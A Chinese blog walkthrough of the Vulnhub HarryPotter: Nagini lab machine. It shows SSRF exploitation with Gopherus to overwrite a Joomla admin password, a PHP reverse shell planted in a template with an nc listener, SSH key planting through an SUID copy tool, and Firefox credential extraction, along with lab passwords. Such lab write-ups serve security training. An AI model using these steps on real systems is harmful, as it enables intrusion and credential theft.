看完这篇 教你玩转渗透测试靶机Vulnhub——HarryPotter:Nagini

简介: 看完这篇 教你玩转渗透测试靶机Vulnhub——HarryPotter:Nagini

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。


PS:这个是HarryPotter(哈利波特)系列一共有三个靶机,这是第二个Nagini老样子需要获得root权限找到flag(这里是魂器)即可。


Vulnhub靶机下载:

官网下载:https://download.vulnhub.com/harrypotter/Nagini.ova

Vulnhub靶机安装:


下载好了把安装包解压 然后使用Oracle VM打开即可。


Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用arp-scan -l或者netdiscover发现主机



渗透机:kali IP :192.168.0.105 靶机IP :192.168.0.100

使用命令:nmap -sS -sV -A -n -p- 192.168.0.100



发现开启了2280端口,先访问一下哈利波特(经典再现)🆗还是老样子dirb、dirsearch、whatweb、gobuster、nikto、gobuster


这里发现了/note.txt 和 /joomla两个目录依次进行访问 发现是Joomla的CMS框架,这里可以使用joomscan探测(DC3讲过)


DC3链接:https://blog.csdn.net/Aluxian_/article/details/123676768?spm=1001.2014.3001.5502

apt-get install joomscan  #安装一下

9dbbe20e7c4b4e3fbb96a86d91c78090.png



9c2bf7fbabde4b64be07058450ff58e9.png


94813a5a911c4464acac0e642610d2c0.png


5f751a6bf7ff4d62bd868a3b5d97a406.png


1e91b57cc893433fb4617fcf1694dfab.png


798ad2fb04bb436aaf8b9808d2127e98.png


06fd63688361451aa7ddc847f01930fb.png



e472b22d0313411091b66c1e9b611ce7.png

这里发现后台 不知道账号密码先放着 然后下载bak文件进行查看 得到了一个账号:goblin 但是没密码



②:漏洞发现:

上面note.txt 有提HTTP3 就是这个域名需要用这个来进行访问 所以需要我们来搭建一下(我看网上有些教程没成功)

GitHub项目:https://github.com/cloudflare/quiche

apt-get  install cargo  #安装 cargo  Cargo 是 Rust 的构建系统和包管理器。
cargo  bulid --examples  #命令使用前先装上 cmake
vim /etc/apt/sources.list   #换个yuan
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib  #重庆大学yuan
Blocking waiting for file lock on package cache  #报错信息
rm -rf ~/.cargo/.package-cache  #这里是装错了报错的解决方法
cd  quiche/target/debug/examples  #安装好了运行
./http3-client https://192.168.0.100 #运行一下 正常来说可以探测到漏洞了


2411abb969a34678a4768dae6c24cf94.png

b4830805a8f241998f629d2950101901.png


可恶啊 我以为成功了 结果这里又报了个错 说版本太低 搞了半天没搞好 先跳过吧 到时候在研究(会的小伙伴私信一下我也行!)


看了别人的wp 扫出来有个 /internalResourceFeTcher.php 随便测试一下 输入京东:https://www.jd.com/ 发现会跳转 存在SSRF漏洞



③:SSRF漏洞利用:

这里要学个新工具:Gopherus 运行后输入数据库类型 在输入数据库名称,以及执行的语句 然后把生成的payload 放入网页即可执行。

git clone https://github.com/tarunkant/Gopherus.git  #使用python2运行
python2 gopherus.py --exploit mysql # mysql数据库 
goblin  #输入数据库名
show databases;  #查询数据库  发现 joomla 数据库接着查表
use joomla;show tables;  #使用库查询表
use joomla; select * from joomla_users;
site_admin #账号
<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay #密文解不出来
echo -n "password" |md5sum #md5 加密
5f4dcc3b5aa765d61d8327deb882cf99 #生成的md5值
use joomla;update joomla_users set password="5f4dcc3b5aa765d61d8327deb882cf99" where username="site_admin";  



346cd7d83e7a4d41ba1b28edb5b75990.png



b9a72de76e7243e99c84d9c34ff5c377.png


653276e445b941ad979ca0347120af08.png


be11c7ef197141ddad84eb71100cd68a.png



使用账号和密码:site_admin/password 登入成功!!!


④:网站后台GetShell:





beez3编辑修改index.php使用kali自带的php-reverse-shell.php

cp   /usr/share/webshells/php/php-reverse-shell.php  /root/桌面
nc -lvvp 1234
http://192.168.0.100/joomla/templates/beez3/index.php  #访问index.php 让其连接回弹
/bin/bash -i
whoami  #查看权限 www-data 低权限 需要提权



9df40bf411384acca14c0e271ec0a6a2.png

06ad173a54384736b66d9a14a1eb41c3.png


⑤:SSH公钥登入:

进入家目录发现两个用户 其中一个存在隐藏文件 查看base64解码得到密码:Love@lilly

cd /home #发现两个用户hermoine 和snape
cd snape
ls -al #查看隐藏文件
cat .creds.txt #查看文件内容 base64解码
ssh snape@192.168.0.100 #ssh登入snape用户 
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.0.100"
find / -perm -u=s 2>/dev/null #查询具有suid权限的
ssh-keygen  #生成SSH私钥 路径在/root/下面
scp id_rsa.pub snape@192.168.15.134:~/  #将私钥文件复制到 snape用户下面
chmod 777 authorized_keys #给权限这里一定要给640  我给的777权限访问拒绝ssh连不进去
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/ #远程复制到hermoine的ssh目录下


2a13af8cc4f4418b9371840ef472f3b1.png

9ade92090f7146a8818bdc28a14f6f36.png


e81d64559e7a482294e14738823ef305.png

2c8bf16f242a43a2a25e901f75755391.png

这里没权限,我们先找一下第一个魂器吧 在/var/www/html/下面



这里就是复制的作用 既然可以复制 那么是不是可以生成公钥传到靶机 然后就不要密码登入了!


PS: 权限要给640 不然登不进去 我开始给的777 改一下就可以了,这里得到了第二个魂器



⑥:root提权:

~下面发现了.mozilla目录里面有个firefox 感觉这里面有隐藏的信息 比如账号密码什么的 使用一个工具:firefox_decrypt

git  clone https://github.com/unode/firefox_decrypt.git #如果访问不到就 直接下好了 拖进去
cd ~
cp -r .mozilla/ /tmp/.mozilla #复制目录
cd /tmp #进入目录
ls -al  #查看隐藏文件
chmod 777 .mozilla/  #赋予权限
python3 -m http.server #开启临时网页
wget http://192.168.0.100:8000/.mozilla  ##下载到本机
cd  firefox_decrypt-main
 python3 firefox_decrypt.py /root/.mozilla/firefox   #使用脚本提取(正常来说 肯定ok 我这里不太行 嗨嗨嗨~)


firefox_decrypt 下载:https://github.com/unode/firefox_decrypt


这里发现有个问题 他传出来的html文件 就导致里面的firefox访问不了报错(因为他不是文件)

所以这里我们在使用scp再传一下 按理来说应该有的呀 但是我这里没在firefox中读出来 很奇怪!


最后又试了 把文件传入靶机 然后在执行 然后python3报错 算了 已经尽力了 大家会方法就好了 问题不大!



最终得到账号密码:root/@Alohomora

⑦:获取魂器(FLAG):

🆗到这里五个魂器已经都找到了 还差两个 最后一个靶机是二进制的我不太会 所以就先不跟新了!

至此至此获取到了flag,本篇文章渗透结束 感谢大家的观看!!

Vulnhub靶机渗透总结:


这个靶机难度高,就是有点费时间麻烦 其他都还好


1.信息收集arp-scan -l 获取ip地址 和端口信息 web扫描工具:nikto,dirb,dirbuster,whatweb,ffuf等

2.SSRF漏洞的利用 Gopherus工具的使用 MD5sum 生成md5加密值

3.joomscan工具的使用 以及http3的搭建(新知识点)

4.网站后台GetShell 以及ssh私钥登入 scp的简单使用

5.firefox_decrypt脚本的使用 提取有用信息


HarryPotter系列第二个靶机,学习到了很多知识点又是收获满满的一天(耶耶耶!)

最后创作不易,希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!


相关文章
|
2月前
|
安全 Linux 网络安全
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
34 4
|
2月前
|
安全 Shell 网络安全
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
41 4
|
2月前
|
Devops Shell 网络安全
Neos的渗透测试靶机练习——Wakanda
Neos的渗透测试靶机练习——Wakanda
27 2
|
3月前
|
安全 中间件 Shell
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
47 0
|
3月前
|
安全 网络协议 Shell
渗透测试-靶机DC-1-知识点总结
渗透测试-靶机DC-1-知识点总结
47 0
|
3天前
|
监控 JavaScript 测试技术
postman接口测试工具详解
Postman是一个功能强大且易于使用的API测试工具。通过详细的介绍和实际示例,本文展示了Postman在API测试中的各种应用。无论是简单的请求发送,还是复杂的自动化测试和持续集成,Postman都提供了丰富的功能来满足用户的需求。希望本文能帮助您更好地理解和使用Postman,提高API测试的效率和质量。
27 11
|
1月前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
60 3
|
2月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
74 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
3月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
262 7
Jmeter实现WebSocket协议的接口测试方法
|
3月前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
271 3
快速上手|HTTP 接口功能自动化测试
下一篇
DataWorks